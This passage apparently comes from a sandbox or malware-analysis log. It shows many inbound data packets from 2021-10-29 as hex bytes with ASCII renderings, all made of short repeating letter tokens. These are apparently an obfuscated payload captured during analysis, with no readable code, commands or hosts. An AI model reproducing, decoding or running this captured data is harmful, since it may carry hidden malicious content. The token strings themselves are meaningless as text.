4f 6f 20 45 45 20 4b 6b 20 59 78 20 45 51 20 6b 52 20 51 4b 20 4f 4f 45 20 4f 4f 4f 20 6f 59 4b 20 45 4f 20 59 6f 20 45 6b 20 Data Ascii: xR Qx ooK oK ko YK kK Oox OxR Qt oYE OxK Kk Yx YY OOE ORo OEY OxQ OOo YK oK Y YK kK Oox R kY OOo Yx Yk oR kk kK OOK Oot OOO EO RR Kk Yx Rx kt OOk QE tK OOo Yx YK QE kt kK OOK Oot tO OOo Yx KE o YE kK OOO OOt OxQ OOo EE Kk Yx EQ kR QK OOE OOO oYK EO Yo Ek
2021-10-29 18:29:21 UTC	1684	IN	Data Raw: 6f 6b 20 45 59 20 59 45 20 45 45 20 4f 6f 20 4f 78 52 20 4b 78 20 52 4b 20 4f 6f 4b 20 59 6f 20 52 52 20 4f 4f 52 20 4b 51 20 6b 4b 20 6f 20 51 45 20 74 78 20 4f 4f 6f 20 59 78 20 59 6b 20 59 52 20 4b 51 20 52 74 20 4b 6f 20 4f 6f 52 20 4f 78 52 20 4f 4f 4b 20 51 45 20 4f 74 6b 20 59 78 20 59 4b 20 51 4b 20 74 74 20 45 51 20 4f 4b 52 20 4f 4b 45 20 6f 78 59 20 59 4b 20 6f 4b 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 78 6f 20 51 45 20 4f 4f 74 20 59 78 20 4f 4f 6f 20 59 78 20 59 4b 20 6b 4b 20 4f 78 74 20 4f 4f 74 20 4f 78 51 20 51 74 20 52 59 20 4f 74 51 20 59 78 20 59 4b 20 51 4b 20 4f 6f 78 20 51 51 20 4f 78 6f 20 51 4f 20 6f 78 20 59 4b 20 4b 6b 20 4b 51 20 59 51 20 6b 59 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 4b 51 20 59 59 20 4b 51 20 6b 51 20 6f 78 6b 20 Data Ascii: ok EY YE EE Oo OxR Kx RK OoK Yo RR OOR KQ kK o QE tx OOo Yx Yk YR KQ Rt Ko OoR OxR OOK QE Otk Yx YK QK tt EQ OKR OKE oxY YK oK YK kK OOK Oxo QE OOt Yx OOo Yx YK kK Oxt OOt OxQ Qt RY OtQ Yx YK QK Oox QQ Oxo QO ox YK Kk KQ YQ kY OOt OxQ Ooo KQ YY KQ kQ oxk
2021-10-29 18:29:21 UTC	1685	IN	Data Raw: 4f 52 6b 20 4f 74 78 20 59 4b 20 6b 4f 20 4f 6f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 4b 4f 20 78 20 59 4f 20 59 4b 20 52 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 78 74 20 59 78 20 4b 6b 20 45 59 20 59 6f 20 4b 74 20 4f 4f 6f 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 51 45 20 59 78 20 59 4f 20 59 4b 20 6b 6f 20 4f 6f 78 20 4f 74 4f 20 4f 78 4b 20 6b 52 20 45 52 20 59 6b 20 6f 45 52 20 59 4b 20 6b 6f 20 6b 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 4f 20 45 6f 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 6f 52 20 52 78 20 4b 6b 20 59 59 20 59 74 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 4f 4f 6b 20 52 4b 20 4b 6b 20 4b 6b 20 45 74 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 78 20 4f 78 51 20 4f 4f 6f 20 45 59 20 59 78 20 74 45 20 59 6f Data Ascii: ORk Otx YK kO OoY OOt OxQ OOE KO x YO YK RY OOK OOt OxQ Oxt Yx Kk EY Yo Kt OOo OOt OxQ OOR QE Yx YO YK ko Oox OtO OxK kR ER Yk oER YK ko kk OOt OxQ OOo YO Eo Yx YK kK OOK OOt OxQ OoR Rx Kk YY Yt kK OOK OOR OOk RK Kk Kk Et YK kK OOK OOx OxQ OOo EY Yx tE Yo
2021-10-29 18:29:21 UTC	1686	IN	Data Raw: 59 78 20 59 6f 20 4b 51 20 6b 51 20 6b 45 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 4f 6f 6f 20 6f 45 52 20 59 45 20 6f 78 20 45 6f 20 51 4b 20 4f 74 6f 20 4f 4f 74 20 4f 78 74 20 51 78 20 59 78 20 4b 6b 20 59 4f 20 45 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 52 45 20 52 4f 20 59 4b 20 6b 4f 20 4f 6f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 4b 4f 20 78 20 4b 6b 20 59 4b 20 52 52 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 78 6b 20 59 78 20 4b 6b 20 45 59 20 59 6f 20 4b 74 20 4f 4f 6f 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 4b 51 20 51 59 20 45 52 20 59 59 20 6b 4b 20 4f 4f 52 20 4f 6f 74 20 4f 74 51 20 4f 4f 74 20 6f 78 20 45 6b 20 59 52 20 6f 45 6f 20 6b 4b 20 4f 4f 52 20 51 59 20 4f 78 51 20 4f 4f 6f 20 59 4f 20 45 6f 20 59 78 Data Ascii: Yx Yo KQ kQ kE OOY OOt Oxt Ooo oER YE ox Eo QK Oto OOt Oxt Qx Yx Kk YO Ek kK OOK OOt OxQ OOo Yx RE RO YK kO OoY OOt OxQ OOE KO x Kk YK RR OOK OOt OxQ Oxk Yx Kk EY Yo Kt OOo OOt OxQ OOR KQ QY ER YY kK OOR Oot OtQ OOt ox Ek YR oEo kK OOR QY OxQ OOo YO Eo Yx
2021-10-29 18:29:21 UTC	1688	IN	Data Raw: 4f 78 51 20 4f 78 6f 20 59 78 20 4b 6b 20 59 78 20 4b 6f 20 6b 4b 20 4f 4f 4b 20 4f 78 78 20 4f 4f 4f 20 4f 4f 20 4b 6b 20 4b 6b 20 59 78 20 59 78 20 6b 74 20 6f 51 20 4f 78 6f 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 59 6b 20 6f 45 52 20 59 4f 20 4f 4f 4b 20 4f 78 78 20 4f 6f 74 20 4f 74 51 20 4f 4f 6f 20 59 6f 20 6f 52 20 59 78 20 59 4b 20 6b 59 20 51 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 74 20 51 4f 20 4f 4f 4b 20 4f 4f 6f 20 51 6b 20 4f 4f 6f 20 59 78 20 4b 51 20 4b 4f 20 52 20 6b 52 20 4f 4f 4b 20 51 51 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 4b 20 59 78 20 59 4b 20 52 51 20 4f 4f 6f 20 4f 4b 20 4f 4f 4f 20 4f 4f 6f 20 59 78 20 59 6f 20 4b 51 20 6b 51 20 51 4b 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 4f 6f 6f 20 6f 45 52 20 Data Ascii: OxQ Oxo Yx Kk Yx Ko kK OOK Oxx OOO OO Kk Kk Yx Yx kt oQ Oxo Oxk OOo Yo Yk oER YO OOK Oxx Oot OtQ OOo Yo oR Yx YK kY Qk OOt OxQ OOo Yx Kk Yx Yt QO OOK OOo Qk OOo Yx KQ KO R kR OOK QQ OxQ OOo Yx KK Yx YK RQ OOo OK OOO OOo Yx Yo KQ kQ QK OOY OOt Oxt Ooo oER
2021-10-29 18:29:21 UTC	1689	IN	Data Raw: 4b 20 4f 4f 52 20 51 59 20 4f 78 6b 20 51 52 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 78 45 20 4f 6f 74 20 4f 4f 6f 20 52 6f 20 52 45 20 59 78 20 59 4b 20 6b 59 20 4f 78 59 20 52 51 20 4f 4f 78 20 4f 4f 6f 20 4b 6f 20 4b 6b 20 59 78 20 59 4b 20 74 51 20 4f 4f 4b 20 4f 4f 74 20 4f 6f 4b 20 4f 4f 4b 20 74 45 20 59 78 20 59 78 20 59 4b 20 6b 78 20 4f 4f 45 20 4f 4f 45 20 6f 20 4f 78 59 20 59 4f 20 4b 6b 20 59 6f 20 45 45 20 51 4b 20 4f 74 6f 20 4f 4f 6f 20 74 59 20 4f 78 6f 20 59 52 20 6f 45 6b 20 59 78 20 4b 6b 20 4f 6f 52 20 4f 4f 59 20 4f 78 4f 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 52 51 20 51 51 20 4f 4f 74 20 4f 78 4b 20 4f 6f 74 20 59 78 20 4b 6b 20 59 4f 20 4f 6f 20 6b 52 20 4f 78 4f 20 6f 52 20 45 52 20 Data Ascii: K OOR QY Oxk QR Yx Kk Yx YK kK OOK OxE Oot OOo Ro RE Yx YK kY OxY RQ OOx OOo Ko Kk Yx YK tQ OOK OOt OoK OOK tE Yx Yx YK kx OOE OOE o OxY YO Kk Yo EE QK Oto OOo tY Oxo YR oEk Yx Kk OoR OOY OxO OxQ OOo Yx Kk Yx YK RQ QQ OOt OxK Oot Yx Kk YO Oo kR OxO oR ER
2021-10-29 18:29:21 UTC	1690	IN	Data Raw: 20 4f 4f 4f 20 51 6b 20 59 52 20 74 6b 20 59 59 20 59 4b 20 6b 4b 20 4f 4f 6b 20 4f 4f 20 4f 78 52 20 4f 4f 6f 20 59 78 20 59 6f 20 6f 52 20 6f 74 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 52 51 20 4f 51 59 20 59 4f 20 4b 6b 20 59 6f 20 45 51 20 51 4b 20 4f 6f 74 20 4f 4f 20 4f 78 4f 20 4f 4f 6f 20 59 78 20 59 6f 20 6f 52 20 4f 6b 51 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 4f 6f 52 20 4f 4f 52 20 6f 59 20 59 6b 20 4f 6b 20 4f 51 78 20 74 4f 20 4f 4f 4b 20 4f 4f 74 20 52 51 20 6f 45 51 20 59 78 20 4b 6b 20 59 52 20 45 51 20 6b 78 20 4f 4f 52 20 4f 6f 59 20 4f 6f 74 20 4f 4f 59 20 51 45 20 4f 6b 59 20 59 78 20 59 4b 20 6b 6f 20 51 4b 20 4f 59 52 20 4f 78 78 20 51 51 20 59 59 20 45 4b 20 59 59 20 52 51 20 6f 4f 52 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 6b 6b 20 4f 4b Data Ascii: OOO Qk YR tk YY YK kK OOk OO OxR OOo Yx Yo oR ot kK OOK OOY RQ OQY YO Kk Yo EQ QK Oot OO OxO OOo Yx Yo oR OkQ kK OOK OOY OoR OOR oY Yk Ok OQx tO OOK OOt RQ oEQ Yx Kk YR EQ kx OOR OoY Oot OOY QE OkY Yx YK ko QK OYR Oxx QQ YY EK YY RQ oOR OOY OOt Oxt kk OK
2021-10-29 18:29:21 UTC	1692	IN	Data Raw: 20 4f 6b 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 45 78 20 4f 4f 4b 20 4b 6b 20 4b 6b 20 59 6f 20 52 78 20 74 59 20 4f 6f 59 20 6f 4b 6b 20 51 51 20 4f 4f 6f 20 59 78 20 59 78 20 6f 45 20 45 6f 20 52 4b 20 4f 4b 78 20 4f 4f 59 20 59 45 20 4f 4f 6f 20 59 78 20 59 4b 20 52 59 20 4f 6b 45 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 6f 78 74 20 6b 59 20 45 74 20 45 52 20 6f 78 4b 20 4b 6b 20 4f 45 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 45 20 4f 74 51 20 4b 6b 20 59 78 20 4b 6b 20 6f 4b 52 20 6b 74 20 4f 78 51 20 4f 6f 4f 20 4f 4b 6f 20 59 6f 20 4f 78 52 20 59 78 20 59 4b 20 6b 6f 20 4f 20 6f 4b 4b 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 4f 4b 52 20 6f 45 20 4b 74 20 52 4b 20 4f 4b 78 20 4f 4f 59 20 59 4b 20 4f 4f 6f 20 59 78 20 59 4b 20 52 59 20 4f 6b 45 20 6b 4b 20 4f 4f Data Ascii: Okk kK OOK OOY Ex OOK Kk Kk Yo Rx tY OoY oKk QQ OOo Yx Yx oE Eo RK OKx OOY YE OOo Yx YK RY OkE kK OOK OOY oxt kY Et ER oxK Kk OE OOK OOt Oxt E OtQ Kk Yx Kk oKR kt OxQ OoO OKo Yo OxR Yx YK ko O oKK OxQ OOo Yo OKR oE Kt RK OKx OOY YK OOo Yx YK RY OkE kK OO
2021-10-29 18:29:21 UTC	1693	IN	Data Raw: 20 6f 4b 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 59 6f 20 6f 78 52 20 59 6f 20 59 78 20 6b 52 20 4f 4f 4b 20 4f 4f 59 20 45 78 20 6f 4f 45 20 59 78 20 4b 6b 20 59 52 20 45 78 20 52 6b 20 4f 4f 4b 20 4f 4f 74 20 74 78 20 6b 6b 20 45 59 20 4b 6b 20 59 78 20 6f 51 20 4f 6f 4b 20 6f 59 78 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 6f 4b 20 6f 6f 20 4b 51 20 59 78 20 6b 4f 20 51 78 20 59 6b 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 6f 52 20 59 78 20 59 4b 20 74 51 20 52 52 20 4f 4f 45 20 4f 78 51 20 59 74 20 59 4f 20 4b 6b 20 59 78 20 4b 4f 20 6b 4b 20 4f 4f 4b 20 4f 78 78 20 4f 78 59 20 45 20 4f 51 78 20 4b 51 20 59 78 20 4b 6b 20 4f 4f 45 20 4f 20 6f 4f 78 20 4f 78 51 20 4f 4f 6f 20 59 52 20 51 59 20 51 45 20 59 59 20 6b 4b 20 4f 4f 52 20 6b 78 20 45 78 20 4f 78 59 Data Ascii: oKY OOt OxQ OOk Yo oxR Yo Yx kR OOK OOY Ex oOE Yx Kk YR Ex Rk OOK OOt tx kk EY Kk Yx oQ OoK oYx OOt OxQ OOk oK oo KQ Yx kO Qx Yk OxQ OOo Yo oR Yx YK tQ RR OOE OxQ Yt YO Kk Yx KO kK OOK Oxx OxY E OQx KQ Yx Kk OOE O oOx OxQ OOo YR QY QE YY kK OOR kx Ex OxY
2021-10-29 18:29:21 UTC	1694	IN	Data Raw: 51 20 4f 4f 45 20 59 78 20 4b 6b 20 59 78 20 4f 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 6f 4f 52 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 6f 52 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 51 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 52 4f 20 4b 6b 20 59 78 20 59 59 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 4f 4f 51 20 6b 59 20 4f 4f 4b 20 4f 4f 74 20 4b 4b 20 4f 4f 45 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6b 4f 20 4f 78 51 20 4f 4f 6f 20 59 4f 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 4f 59 20 4b 51 20 59 78 20 59 4b 20 6f 6f 20 4f 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 74 Data Ascii: Q OOE Yx Kk Yx Ok kK OOK OOR OxQ OOo Yx Kk oOR YK kK OOK OoR OxQ OOo Yx OQk Yx YK kK OOE OOt OxQ OOo RO Kk Yx YY kK OOK OOt OxQ OOo Yx Kk Yx OOQ kY OOK OOt KK OOE Yx Kk YO YK kK OOK kO OxQ OOo YO Kk Yx YK kK OOK OOt OxQ OOo OOY KQ Yx YK oo OOY OOt OxQ OOt
2021-10-29 18:29:21 UTC	1696	IN	Data Raw: 45 4b 20 59 78 20 59 4b 20 51 4b 20 6f 51 20 4f 51 4b 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 4b 20 4f 45 51 20 59 59 20 6b 4b 20 4f 4f 52 20 4f 4f 45 20 52 51 20 4f 59 78 20 59 78 20 4b 6b 20 59 6f 20 45 78 20 6f 6f 74 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 51 78 20 45 45 20 78 20 52 6f 20 59 4b 20 4f 51 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 78 20 4b 6f 20 4f 4f 74 20 4f 4f 52 20 4f 78 51 20 4f 4f 52 20 45 4f 20 6f 78 20 45 52 20 6f 45 78 20 4f 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 6b 6b 20 4f 45 6b 20 4b 6b 20 59 78 20 52 78 20 4f 45 6f 20 4f 6f 52 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 6f 52 20 4f 45 52 20 59 78 20 59 4b 20 51 4b 20 51 78 20 6f 78 4b 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 4b 20 4f 45 52 Data Ascii: EK Yx YK QK oQ OQK OxQ OOo YR oK OEQ YY kK OOR OOE RQ OYx Yx Kk Yo Ex oot OOY OOt Oxt Qx EE x Ro YK OQK OOK OOt OxQ OOo Yx Kk Yx Yx Ko OOt OOR OxQ OOR EO ox ER oEx Oo OOK OOt Oxk kk OEk Kk Yx Rx OEo OoR OOt OxQ OOK oR OER Yx YK QK Qx oxK OxQ OOo YR oK OER
2021-10-29 18:29:21 UTC	1697	IN	Data Raw: 6b 20 59 51 20 6f 6f 52 20 4f 4f 52 20 4f 78 51 20 4f 4f 6b 20 45 59 20 59 6f 20 51 45 20 6f 4b 78 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 4f 4f 20 4f 4f 6b 20 51 45 20 4f 78 20 59 78 20 59 4b 20 6b 6f 20 6b 74 20 4f 78 51 20 51 4b 20 4f 6f 78 20 4b 6b 20 59 4f 20 59 4b 20 45 78 20 4f 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 4f 78 59 20 4f 20 59 4b 20 52 59 20 4f 59 74 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 6f 45 20 51 78 20 59 78 20 4b 6b 20 59 4f 20 4b 6f 20 6b 4b 20 4f 4f 4b 20 4f 4f 51 20 4f 78 51 20 51 74 20 59 78 20 4b 4b 20 45 4f 20 59 4b 20 51 78 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4b 6b 20 4b 6b 20 4f 4f 52 20 59 4b 20 74 6f 20 4f 52 20 4f 4f 74 20 51 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 4f 74 52 20 6b 52 20 51 78 20 4f 74 4f Data Ascii: k YQ ooR OOR OxQ OOk EY Yo QE oKx kK OOK Oot OOO OOk QE Ox Yx YK ko kt OxQ QK Oox Kk YO YK Ex Oo OOK OOt Oxt OxY O YK RY OYt kK OOK Oot oE Qx Yx Kk YO Ko kK OOK OOQ OxQ Qt Yx KK EO YK Qx OOK OOt OxQ OOo Kk Kk OOR YK to OR OOt QQ OOo Yx Kk Yx OtR kR Qx OtO
2021-10-29 18:29:21 UTC	1698	IN	Data Raw: 51 20 4f 6f 6f 20 59 6f 20 59 4f 20 51 45 20 6b 4f 20 6b 59 20 4f 4f 4b 20 4f 4f 59 20 52 51 20 4f 6f 59 20 59 78 20 4b 6b 20 59 6f 20 6b 51 20 4f 59 74 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 4f 4f 4b 20 59 6f 20 51 59 20 74 20 59 4b 20 6b 4b 20 4f 4f 52 20 6b 78 20 4f 4f 74 20 52 74 20 59 6b 20 59 78 20 4b 51 20 59 78 20 4f 6f 4b 20 4f 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 4b 45 20 45 20 59 6f 20 52 51 20 6f 59 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 4f 78 20 6f 4b 20 4f 4b 6f 20 4b 51 20 6b 51 20 74 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 51 6f 20 6f 78 20 59 78 20 4b 51 20 6b 51 20 59 59 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 6b 6b 20 4f 6b 51 20 4b 6b 20 59 78 20 4b 6b 20 59 51 20 4b 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 6f 45 20 4b 78 20 4f Data Ascii: Q Ooo Yo YO QE kO kY OOK OOY RQ OoY Yx Kk Yo kQ OYt OOK OOt OxE OOK Yo QY t YK kK OOR kx OOt Rt Yk Yx KQ Yx OoK Ok OOt OxQ OOk KE E Yo RQ oYY OOK OOt OxE Ox oK OKo KQ kQ t OOY OOt Oxt Qo ox Yx KQ kQ YY OOY OOt Oxt kk OkQ Kk Yx Kk YQ Kk OOt OxQ OOk oE Kx O
2021-10-29 18:29:21 UTC	1700	IN	Data Raw: 20 4b 6b 20 59 78 20 4b 6b 20 59 51 20 74 74 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 6f 78 20 59 78 20 45 74 20 4f 6b 74 20 4f 6f 74 20 4f 4f 4b 20 4f 4f 74 20 4f 4f 4f 20 6b 59 20 45 52 20 52 74 20 4f 59 59 20 59 4b 20 6b 4b 20 4f 4f 52 20 6f 4f 59 20 52 51 20 6f 59 45 20 59 78 20 4b 6b 20 59 6f 20 6b 51 20 6f 4f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 6b 52 20 6f 4b 20 4b 6b 20 59 78 20 59 4b 20 74 4f 20 52 52 20 4f 4f 6f 20 4f 78 51 20 4f 51 6f 20 59 4f 20 4b 6b 20 59 78 20 4f 51 20 6b 4b 20 4f 4f 4b 20 4f 78 78 20 4f 4f 4f 20 6b 6b 20 4f 6b 4b 20 4b 6b 20 59 78 20 4b 6b 20 45 51 20 4f 4f 51 20 4f 4f 51 20 4f 78 51 20 4f 4f 6b 20 59 52 20 4b 74 20 52 4f 20 4f 6b 74 20 51 78 20 4f 4f 4b 20 4f 4f 74 20 4f 4f 4f 20 6b 59 20 45 52 20 45 52 20 6f 78 4b 20 4b Data Ascii: Kk Yx Kk YQ tt OOt OxQ OOk ox Yx Et Okt Oot OOK OOt OOO kY ER Rt OYY YK kK OOR oOY RQ oYE Yx Kk Yo kQ oO OOK OOt Oxt kR oK Kk Yx YK tO RR OOo OxQ OQo YO Kk Yx OQ kK OOK Oxx OOO kk OkK Kk Yx Kk EQ OOQ OOQ OxQ OOk YR Kt RO Okt Qx OOK OOt OOO kY ER ER oxK K
2021-10-29 18:29:21 UTC	1701	IN	Data Raw: 4b 20 6b 4b 20 4f 4f 52 20 6f 4f 59 20 52 51 20 6f 4b 6b 20 59 78 20 4b 6b 20 59 6f 20 4b 6b 20 45 51 20 6f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 74 51 20 59 52 20 59 4f 20 59 4b 20 6b 78 20 51 78 20 6f 4b 78 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 59 4b 20 6f 78 4b 20 4b 6b 20 6b 6f 20 4f 4f 6f 20 4f 4f 74 20 4f 78 74 20 45 20 4f 59 4f 20 4b 6b 20 59 78 20 52 78 20 4f 6f 4b 20 51 6b 20 4f 4f 74 20 4f 78 51 20 51 4f 20 6f 52 20 45 45 20 59 78 20 59 4b 20 4f 6f 74 20 51 78 20 6f 4b 45 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 6f 4b 20 4f 6b 4f 20 59 4b 20 6b 4b 20 4f 4f 52 20 4f 4f 59 20 4f 4b 74 20 4f 4f 6b 20 59 45 20 59 78 20 59 78 20 4b 6b 20 45 51 20 6f 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 6f 52 20 45 6f 20 59 78 20 59 4b 20 4f 6f 74 20 51 78 20 Data Ascii: K kK OOR oOY RQ oKk Yx Kk Yo Kk EQ oOK OOt OxQ Ooo tQ YR YO YK kx Qx oKx OxQ OOo Yo YK oxK Kk ko OOo OOt Oxt E OYO Kk Yx Rx OoK Qk OOt OxQ QO oR EE Yx YK Oot Qx oKE OxQ OOo Yo oK OkO YK kK OOR OOY OKt OOk YE Yx Yx Kk EQ oOY OOt OxQ Ooo oR Eo Yx YK Oot Qx
2021-10-29 18:29:21 UTC	1702	IN	Data Raw: 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 6f 4f 52 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 6f 52 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 51 74 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 6f 6f 20 4b 6b 20 59 78 20 59 59 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 59 4b 20 59 78 20 4b 6b 20 59 78 20 52 4f 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 59 59 20 4f 4f 6f 20 59 78 20 4b 6b 20 4b 51 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 6f 6f 20 4f 78 51 20 4f 4f 6f 20 59 4f 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4b 74 20 4b 51 20 59 78 20 59 4b 20 74 45 20 4f 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 4b 6b 20 59 78 20 4f 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 4f 78 51 20 4f 4f Data Ascii: xQ OOo Yx Kk oOR YK kK OOK OoR OxQ OOo Yx OQt Yx YK kK OOY OOt OxQ OOo oo Kk Yx YY kK OOK OOt OxQ OYK Yx Kk Yx RO kK OOK OOt OYY OOo Yx Kk KQ YK kK OOK Ooo OxQ OOo YO Kk Yx YK kK OOK OOt OxQ OOo Kt KQ Yx YK tE OOY OOt OxQ OOE Yx Kk Yx Ok kK OOK OOR OxQ OO
2021-10-29 18:29:21 UTC	1704	IN	Data Raw: 20 4f 4f 59 20 74 4f 20 6f 4b 52 20 59 4b 20 6f 4b 20 4f 45 59 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 6f 4f 51 20 4f 4f 6f 20 59 78 20 59 6b 20 51 45 20 4f 6f 51 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 52 51 20 6f 78 4f 20 59 4f 20 4b 6b 20 59 6f 20 59 78 20 4f 6f 4b 20 4f 4b 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 6f 52 20 4f 45 59 20 59 4f 20 59 4b 20 6b 6f 20 6b 6b 20 4f 78 6f 20 51 45 20 4f 6f 4b 20 59 78 20 4f 52 52 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 74 6b 20 59 52 20 59 59 20 6b 4b 20 4f 4f 6b 20 6b 6b 20 74 45 20 4f 78 6f 20 6f 6f 52 20 4f 78 4b 20 59 78 20 59 4b 20 6b 59 20 51 78 20 6f 78 59 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 6f 4b 20 52 45 20 59 4b 20 6b 4b 20 4f 4f 6f 20 51 45 20 6f 4f 45 Data Ascii: OOY tO oKR YK oK OEY YK kK Oox oR oOQ OOo Yx Yk QE OoQ kK OOK Oot RQ oxO YO Kk Yo Yx OoK OKk OOt OxQ OOk oR OEY YO YK ko kk Oxo QE OoK Yx ORR Yx YK kK OOK OOt OxQ OOo YK tk YR YY kK OOk kk tE Oxo ooR OxK Yx YK kY Qx oxY OxQ OOo YR ooK RE YK kK OOo QE oOE
2021-10-29 18:29:21 UTC	1705	IN	Data Raw: 6f 52 20 59 4f 20 4b 6b 20 59 6f 20 45 51 20 6b 78 20 51 78 20 4f 4b 4b 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 51 59 20 4f 52 6f 20 59 59 20 6b 4b 20 4f 4f 52 20 4f 78 78 20 4f 78 59 20 45 4f 20 6f 4b 4b 20 4b 6b 20 59 78 20 52 78 20 6b 78 20 51 78 20 6f 78 4f 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 59 4b 20 51 45 20 52 74 20 6b 59 20 4f 4f 4b 20 4f 4f 59 20 74 4f 20 4f 4f 6f 20 59 78 20 4b 51 20 4b 52 20 59 4b 20 6b 4b 20 4f 4f 6f 20 4f 4f 74 20 4f 6f 4b 20 4f 4f 6f 20 4b 52 20 6f 51 20 59 78 20 59 52 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 4f 6b 20 59 78 20 4b 6f 20 59 4b 20 4f 4f 4b 20 4f 6f 45 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 4f 4f 52 20 59 78 20 4f 6f 4b 20 6f 78 52 20 4f 4f 52 20 4f 78 51 20 4f 4f 6b 20 6f 52 20 Data Ascii: oR YO Kk Yo EQ kx Qx OKK OxQ OOo Yo QY ORo YY kK OOR Oxx OxY EO oKK Kk Yx Rx kx Qx oxO Oxk OOo Yo YK QE Rt kY OOK OOY tO OOo Yx KQ KR YK kK OOo OOt OoK OOo KR oQ Yx YR kK OOK OOt OxQ OOK Yx OOk Yx Ko YK OOK OoE OxQ OOo Yx Kk OOR Yx OoK oxR OOR OxQ OOk oR
